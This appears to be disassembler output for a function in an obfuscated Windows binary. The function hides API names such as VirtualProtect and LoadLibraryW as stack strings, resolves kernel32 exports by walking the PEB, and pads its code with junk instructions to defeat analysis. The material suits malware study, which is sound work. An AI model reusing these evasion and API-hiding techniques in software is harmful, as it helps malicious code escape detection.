Function at 0x407298
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esp
add dword [eax], eax
pop edx
push eax
call 0x4059e4
add byte [0x373f324c], dh
cmp eax, 0x833c4737
les eax, [eax + ebx*2]
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe8]
mov dword [ebp - 0x15d8], eax
push esi
sub esi, 0x2f43
and esi, 0x6703
pop esi
push eax
jmp 0x405a15
xor eax, 0x1056d
pop eax
push ecx
jmp 0x405a23
sub ecx, 0xecd9
jmp 0x405a2e
pop ecx
mov dword [ebp - 0x20d8], 0xffffffff
push ecx
and ecx, 0x12453
pop ecx
push esi
push edi
add esp, 4
sub esi, 0x23eb
add esi, 0xd5e2
and esi, 0x1360a
add esi, 0x18362
pop esi
push edx
push eax
add esp, 4
add edx, 0xc3c4
pop edx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x504], ecx
jmp 0x405a88
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push ecx
push ebx
add esp, 4
or ecx, 0x13fe2
or ecx, 0x855b
and ecx, 0x65
pop ecx
push edi
or edi, 0x9d60
sub edi, 0x9356
pop edi
push ecx
push esi
add esp, 4
add ecx, 0x415d
pop ecx
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x405b02
push edx
add edx, 0xa66d
call 0x405ae1
add byte [esp + esi], bh
inc edi
cmp ecx, dword [ebp + 0x48]
dec esi
dec ebx
cmp eax, 0x8104c483
ror byte [ebx], 1
add dword [eax], eax
add edx, 0x11222
pop edx
push esi
push edi
add esp, 4
xor esi, 0xa3a
pop esi
jmp 0x405d30
mov dword [ebp - 0xc8c], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xac8], ecx
push edx
push edx
add esp, 4
or edx, 0x1058
add edx, 0x148d
pop edx
push esi
push ecx
add esp, 4
or esi, 0x65b6
add esi, 0xea8
pop esi
push edi
jmp 0x405b43
sub edi, 0x11f5b
pop edi
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15d8]
jne 0x405bb1
push eax
push ecx
add esp, 4
jmp 0x405b79
xor eax, 0x6887
jmp 0x405b87
pop eax
push esi
push ebx
add esp, 4
or esi, 0x621e
xor esi, 0xcc65
or esi, 0x558b
pop esi
mov ecx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], ecx
jmp 0x405ce2
cmp dword [ebp - 0xc8c], 0
jle 0x405cd6
push ebx
push eax
add esp, 4
jmp 0x405bcb
or ebx, 0x1017c
xor ebx, 0x134ee
sub ebx, 0xc866
pop ebx
push eax
push esi
add esp, 4
or eax, 0x124f8
xor eax, 0x112ac
pop eax
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x405c72
push ebx
push edx
add esp, 4
and ebx, 0x11ef7
sub ebx, 0xb9a7
pop ebx
push esi
xor esi, 0xd6d7
pop esi
push edi
push ecx
add esp, 4
and edi, 0x8ba5
sub edi, 0x108a7
or edi, 0x14102
pop edi
mov eax, dword [ebp - 0xac8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x405c5a
mov dword [ebp - 0x15dc], 1
jmp 0x405c64
mov dword [ebp - 0x15dc], 0xffffffff
mov ecx, dword [ebp - 0x15dc]
mov dword [ebp - 0xc90], ecx
jmp 0x405cd6
push edi
push edx
add esp, 4
or edi, 0x6274
pop edi
push eax
push eax
add esp, 4
add eax, 0x1824e
add eax, 0x1150d
and eax, 0x41e0
and eax, 0x15f84
pop eax
push ecx
or ecx, 0x2c85
pop ecx
mov edx, dword [ebp - 0xc8c]
sub edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x405bb1
mov edx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], edx
cmp dword [ebp - 0x15a8], 0
jne 0x405d2b
push eax
add eax, 0x17fd5
sub eax, 0x1822e
sub eax, 0x161fb
xor eax, 0x42a2
pop eax
push eax
push ecx
add esp, 4
or eax, 0x80bc
sub eax, 0x93b
or eax, 0x9cb5
pop eax
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x405d6c
jmp 0x405a79
push ecx
push ebx
add esp, 4
add ecx, 0x105ae
and ecx, 0x14973
and ecx, 0x3206
call 0x405d56
add byte [ebx], bh
dec ebx
inc ebx
cmp eax, 0x443d4f3d
xor eax, dword [ebx + 0x515904c4]
sub ecx, 0x13de0
pop ecx
mov dword [ebp - 0xac4], 0
push esi
xor esi, 0x17eae
and esi, 0x354b
pop esi
push ecx
push ecx
add esp, 4
add ecx, 0x1cc5
and ecx, 0xc2e4
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x181b6
sub esi, 0x93e8
pop esi
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push esi
add esi, 0x128d3
call 0x405e06
add byte [edx + 0x35], cl
xor dh, byte [esi]
cmp dword [esi + 0x3c], eax
add esp, 4
and esi, 0xe43e
jmp 0x405e17
pop esi
push esi
push edx
add esp, 4
add esi, 0x129e1
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1740], cx
mov edx, 0x65
mov word [ebp - 0x173e], dx
mov eax, 0x72
mov word [ebp - 0x173c], ax
mov ecx, 0x6e
mov word [ebp - 0x173a], cx
mov edx, 0x65
mov word [ebp - 0x1738], dx
mov eax, 0x6c
mov word [ebp - 0x1736], ax
mov ecx, 0x33
mov word [ebp - 0x1734], cx
mov edx, 0x32
mov word [ebp - 0x1732], dx
mov eax, 0x2e
mov word [ebp - 0x1730], ax
mov ecx, 0x64
mov word [ebp - 0x172e], cx
mov edx, 0x6c
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
xor ecx, ecx
mov word [ebp - 0x1728], cx
push ecx
sub ecx, 0x4708
sub ecx, 0x176db
xor ecx, 0xe904
xor ecx, 0xe639
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x127b3
add ecx, 0xd651
or ecx, 0x3eb7
pop ecx
push eax
push ebx
add esp, 4
call 0x405f03
add byte [ebx], dh
cmp al, byte [ecx + 0x47]
dec ebx
inc edi
xor bh, byte [eax + edx*2]
add esp, 4
xor eax, 0x14471
xor eax, 0xc6f1
pop eax
push edi
sub edi, 0x9b19
or edi, 0x17cbe
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2034], edx
mov eax, dword [ebp - 0x2034]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x198c], ecx
mov edx, dword [ebp - 0x198c]
mov dword [ebp - 0x15e0], edx
push ecx
jmp 0x405f4f
pop ecx
push ecx
push ecx
add esp, 4
call 0x405f63
add byte [edi + ecx*2], bh
xor esi, dword ds:[edx]
inc ebp
dec ecx
dec edi
add esp, 4
and ecx, 0x114b9
xor ecx, 0x16b23
pop ecx
push esi
or esi, 0xa9fa
pop esi
cmp dword [ebp - 0x15e0], 0
jne 0x405f93
mov dword [ebp - 0x2d4], 0
jmp 0x40624f
mov eax, dword [ebp - 0x15e0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc9c], edx
push ecx
push ecx
add esp, 4
add ecx, 0x14e3f
add ecx, 0x26f2
pop ecx
push edx
push eax
add esp, 4
sub edx, 0x10498
and edx, 0x9385
add edx, 0x1b9c
pop edx
push ecx
and ecx, 0xa5d1
pop ecx
cmp dword [ebp - 0xc9c], 0
jne 0x405fef
mov dword [ebp - 0x2d4], 0
jmp 0x40624f
mov eax, dword [ebp - 0xc9c]
mov dword [ebp - 0x508], eax
push edi
xor edi, 0xfd07
jmp 0x406008
pop edi
push ecx
call 0x406017
add byte [eax + 0x43], cl
inc esi
aaa
xor edi, dword [ebx]
add esp, 4
and ecx, 0xf4fd
or ecx, 0xc517
add ecx, 0xaa7e
pop ecx
lea ecx, [ebp - 0x1740]
mov dword [ebp - 0xc98], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc94], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push eax
push ebx
add esp, 4
xor eax, 0x168e
pop eax
push eax
jmp 0x40606f
pop eax
push ecx
add ecx, 0x14a02
sub ecx, 0x15e51
or ecx, 0x15a35
pop ecx
push eax
or eax, 0xeb49
pop eax
mov eax, dword [ebp - 0xc94]
mov cx, word [eax]
mov word [ebp - 0x1036], cx
mov edx, dword [ebp - 0xc94]
add edx, 2
mov dword [ebp - 0xc94], edx
mov ax, word [ebp - 0x1036]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc98]
mov dx, word [ecx]
mov word [ebp - 0x1038], dx
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push eax
and eax, 0xaa9b
call 0x4060fb
add byte [ecx + 0x44], cl
cmp bh, byte [eax]
inc edx
xor eax, dword [edx + 0x4a]
add esp, 4
pop eax
push eax
push ebx
add esp, 4
call 0x406114
add byte [esp + edi + 0x38], cl
inc ebx
inc eax
dec edx
inc ebx
inc edi
xor al, 0x83
les eax, [eax + ebx*2]
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x40613b
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e8], eax
jmp 0x40619e
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x40605a
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x40605a
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x406188
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x406192
mov dword [ebp - 0x15e4], 1
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x4061e7
push ecx
sub ecx, 0x9542
pop ecx
push ecx
push edi
add esp, 4
or ecx, 0x2318
sub ecx, 0x15924
sub ecx, 0xf17
sub ecx, 0x13d1f
pop ecx
push edx
push ebx
add esp, 4
and edx, 0xdf5e
pop edx
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x40624f
push esi
push ecx
add esp, 4
or esi, 0x8f95
call 0x406202
add byte [esp + esi + 0x40], al
xor eax, 0x40424246
xor al, 0x41
add esp, 4
pop esi
push esi
push ebx
add esp, 4
and esi, 0x6e06
add bl, ch
invalid
pop esi
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xc9c]
je 0x406245
mov ecx, dword [ebp - 0x508]
cmp dword [ecx + 0x30], 0
jne 0x405ffb
mov dword [ebp - 0x2d4], 0
push esi
and esi, 0x11f73
jmp 0x40625b
jmp 0x406261
xor esi, 0x7a18
pop esi
push esi
sub esi, 0x1776f
jmp 0x406274
sub esi, 0xcad7
xor esi, 0xf1a
pop esi
cmp dword [ebp - 0x2d4], 0
jne 0x406b9a
mov edx, 0x6b
mov word [ebp - 0x17ac], dx
mov eax, 0x65
mov word [ebp - 0x17aa], ax
mov ecx, 0x72
mov word [ebp - 0x17a8], cx
mov edx, 0x6e
mov word [ebp - 0x17a6], dx
mov eax, 0x65
mov word [ebp - 0x17a4], ax
mov ecx, 0x6c
mov word [ebp - 0x17a2], cx
mov edx, 0x33
mov word [ebp - 0x17a0], dx
mov eax, 0x32
mov word [ebp - 0x179e], ax
mov ecx, 0x2e
mov word [ebp - 0x179c], cx
mov edx, 0x64
mov word [ebp - 0x179a], dx
mov eax, 0x6c
mov word [ebp - 0x1798], ax
mov ecx, 0x6c
mov word [ebp - 0x1796], cx
xor edx, edx
mov word [ebp - 0x1794], dx
push ebx
push edx
add esp, 4
add ebx, 0xfb3a
call 0x406341
add byte [edx], dh
cmp byte [ebx], dh
dec esi
dec edx
push eax
xor al, byte ss:[ebx - 0x7d]
les eax, [ecx + eax*4]
ret
push edx
sub edx, 0x182ac
xor edx, 0x1599e
pop edx
push esi
or esi, 0x4b37
pop esi
push ecx
add ecx, 0xd178
or ecx, 0x1382f
xor ecx, 0xb052
pop ecx
push ebx
xor ebx, 0x15c00
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19b0], eax
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b4], edx
mov eax, dword [ebp - 0x19b4]
mov dword [ebp - 0x1604], eax
push edx
xor edx, 0x17b22
pop edx
push eax
push ebx
add esp, 4
and eax, 0x62aa
jmp 0x406c0c
jmp 0x406c12
call 0x406c21
add byte [ebx], dh
cmp al, 0x4a
inc esi
inc eax
xor al, 0x4b
cmp byte ss:[ebx - 0x7ca7fb3c], al
mov ebp, 0xffffe9fc
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2d4], 0
jmp 0x406ee4
push ebx
push edx
add esp, 4
or ebx, 0xd658
sub ebx, 0x8b33
and ebx, 0x15911
pop ebx
push eax
xor eax, 0x16a2d
sub eax, 0x2b19
sub eax, 0x16349
sub eax, 0xf8b9
pop eax
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ecx
call 0x406f33
add byte [ebx + 0x35], cl
xor cl, byte [ebx + 0x4f]
inc esi
xor eax, dword [ebx - 0x3e7efb3c]
xchg ecx, ebp
add byte [eax], al
pop ecx
push edi
push ebx
add esp, 4
jmp 0x406f4a
xor edi, 0x16da1
sub edi, 0x10a2
pop edi
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x406f87
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x407278
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x406faf
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x407278
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x406fe1
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x407278
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x407006
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x407278
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19bc], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19c0], ecx
mov dword [ebp - 0x76c], 0
jmp 0x407060
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x40726c
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19bc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19c0]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d48], eax
mov dword [ebp - 0x198], 0
jmp 0x4070d0
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x407182
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x407182
push edx
push ecx
add esp, 4
xor edx, 0x1065
sub edx, 0xf6b6
and edx, 0xc8d5
pop edx
push esi
push eax
add esp, 4
and esi, 0x10366
or esi, 0x15f2
jmp 0x40712e
pop esi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x407174
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x40717b
jmp 0x4070c1
jmp 0x407182
push eax
call 0x407193
add byte [edx + 0x3f], cl
inc esi
push eax
cmp dword [edx + 0x3a], eax
cmp edi, dword [ecx]
dec ebp
add esp, 4
jmp 0x40719f
or eax, 0x2347
sub eax, 0xaa40
pop eax
push ebx
xor ebx, 0xa6d5
pop ebx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x4071e1
mov dword [ebp - 0xcbc], 0
jmp 0x407250
push ecx
xor ecx, 0x10c6b
or ecx, 0x17442
pop ecx
push ebx
or ebx, 0x12e5e
or ebx, 0xbcc9
pop ebx
push ecx
or ecx, 0x1035f
sub ecx, 0x90c5
pop ecx
push eax
or eax, 0x3d2b
pop eax
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x407246
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x407250
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x407267
mov ecx, dword [ebp - 0x1d48]
mov dword [ebp - 0x514], ecx
jmp 0x407278
jmp 0x407051
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push esi
push esi
add esp, 4
call 0x407298
add byte [esi], dh
inc edi
cmp dh, byte [ebx + ecx*2]
xor al, 0x49
xor eax, 0x5e04c483
push edx
push ebx
add esp, 4
jmp 0x4072a7
pop edx
push ebx
sub ebx, 0x11f10
xor ebx, 0x1368d
pop ebx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x1a10], ecx
push ecx
push ebx
add esp, 4
add ecx, 0x10434
jmp 0x4072d8
pop ecx
push edx
push ecx
add esp, 4
and edx, 0x68cb
or edx, 0x4a27
jmp 0x4072f0
xor edx, 0x1777a
pop edx
cmp dword [ebp - 0x3e4], 0
je 0x407309
cmp dword [ebp - 0xac4], 0
jne 0x40734f
push edi
and edi, 0xa511
sub edi, 0x8abd
add edi, 0x3973
sub edi, 0x63c8
pop edi
push eax
push esi
add esp, 4
add eax, 0xce50
sub eax, 0x9837
sub eax, 0xccb1
pop eax
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19c4], edx
push 0
call dword [ebp - 0x19c4]
mov dword [ebp - 0x20dc], 0xa
push ebx
jmp 0x407363
xor ebx, 0x10d9e
jmp 0x407372
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x6c74
sub ecx, 0x11e4a
and ecx, 0x263f
pop ecx
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push eax
sub eax, 0x175f8
add eax, 0x1851b
add eax, 0x4f21
xor eax, 0xe994
pop eax
push edi
push ecx
add esp, 4
or edi, 0x23f9
jmp 0x4073e1
add edi, 0x15ac5
pop edi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push ebx
push esi
add esp, 4
xor ebx, 0x54ee
xor ebx, 0x163bf
pop ebx
push esi
push edx
add esp, 4
call 0x407477
add byte [ecx], bh
dec ebx
xor edi, dword [0x413b3e4d]
dec esi
add esp, 4
pop esi
push eax
add eax, 0xdfa8
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push ecx
xor ecx, 0x16ee8
or ecx, 0x27ce
sub ecx, 0x9c00
add ecx, 0x4944
pop ecx
push edi
push edi
add esp, 4
and edi, 0x55a5
or edi, 0xb3ac
add edi, 0x136d7
pop edi
cmp dword [ebp - 0x161c], 0
jne 0x4074f4
mov dword [ebp - 0x2f4], 0
jmp 0x40779b
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push edx
push edx
add esp, 4
and edx, 0xf20
jmp 0x407517
sub edx, 0xcaa9
pop edx
push edi
add edi, 0xd98d
sub edi, 0xa856
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0xe739
pop ecx
cmp dword [ebp - 0xcc8], 0
jne 0x407550
mov dword [ebp - 0x2f4], 0
jmp 0x40779b
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push edx
call 0x40756d
add byte [esi + 0x49], al
inc ebp
dec esp
dec edi
inc edi
push eax
cmp dword [0x4c4833b], edi
jmp 0x407575
pop edx
push edi
push eax
add esp, 4
xor edi, 0xd3cb
pop edi
push eax
push ebx
add esp, 4
sub eax, 0x16e4e
pop eax
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push esi
add esp, 4
jmp 0x4075c3
xor edi, 0x7073
add edi, 0x101a2
pop edi
push edi
jmp 0x4075d9
pop edi
push esi
jmp 0x4075e3
or esi, 0x2a60
pop esi
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push esi
push esi
add esp, 4
jmp 0x40764c
pop esi
push ecx
call 0x40765d
add byte [edx + 0x3f], al
inc ebp
cmp dword [ebx], esi
dec edx
xor eax, 0xc483373e
add al, 0x59
push edi
push ebx
add esp, 4
and edi, 0x8e43
xor edi, 0x6c7f
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x407690
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x4076ea
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4075b8
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4075b8
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4076d4
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x4076de
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x407733
push eax
xor eax, 0x1184d
call 0x407707
add byte [edx], dh
aas
inc edx
xor eax, 0x83384e38
les eax, [ecx + eax*4]
call fcn.00418ca4
jmp 0x407716
pop eax
push edi
xor edi, 0x17120
sub edi, 0x8813
pop edi
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x40779b
push edx
xor edx, 0x55da
and edx, 0x13dc4
pop edx
push edx
push esi
add esp, 4
call 0x407754
add byte [ebx + 0x3e], al
cmp eax, 0x35394b37
cmp dword [ebx - 0xd7efb3c], eax
push ss
sub eax, dword [eax]
add bl, ch
add eax, 0x39324750
cmp al, 0x5a
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x407791
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x40755c
mov dword [ebp - 0x2f4], 0
push ebx
and ebx, 0x12599
and ebx, 0x34c1
pop ebx
push edx
add edx, 0x7dea
pop edx
push ebx
add ebx, 0x1585c
pop ebx
push edi
push ecx
add esp, 4
jmp 0x4077c6
sub edi, 0x9667
pop edi
cmp dword [ebp - 0x2f4], 0
jne 0x4080d2
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push eax
sub eax, 0x17bb5
call 0x407888
add byte [esi + 0x43], al
push eax
cmp byte [ebp + esi + 0x37], al
dec ebp
add esp, 4
jmp 0x407891
call 0x4078a1
add byte [eax + edi + 0x4e], al
dec ebp
push eax
dec ecx
inc esi
inc esi
inc eax
add esp, 4
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x19d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x1628], ecx
push edx
xor edx, 0x3f9a
pop edx
push edx
push eax
add esp, 4
sub edx, 0x76a8
pop edx
push edx
jmp 0x407945
or edx, 0x1f8
jmp 0x407951
pop edx
push ebx
or ebx, 0xc84
pop ebx
cmp dword [ebp - 0x1628], 0
jne 0x407972
mov dword [ebp - 0x778], 0
jmp 0x407c19
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push eax
push ebx
add esp, 4
call 0x407997
add byte [eax + 0x49], cl
inc eax
inc ecx
cmp esi, dword [esi]
cmp al, 0x42
add esp, 4
or eax, 0xf752
jmp 0x4079a5
pop eax
push eax
and eax, 0x43ee
pop eax
push eax
xor eax, 0x13b3
pop eax
cmp dword [ebp - 0xcd4], 0
jne 0x4079ce
mov dword [ebp - 0x778], 0
jmp 0x407c19
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x51c], edx
push edx
push edi
add esp, 4
sub edx, 0xbdb
jmp 0x4079ed
pop edx
push ecx
push esi
add esp, 4
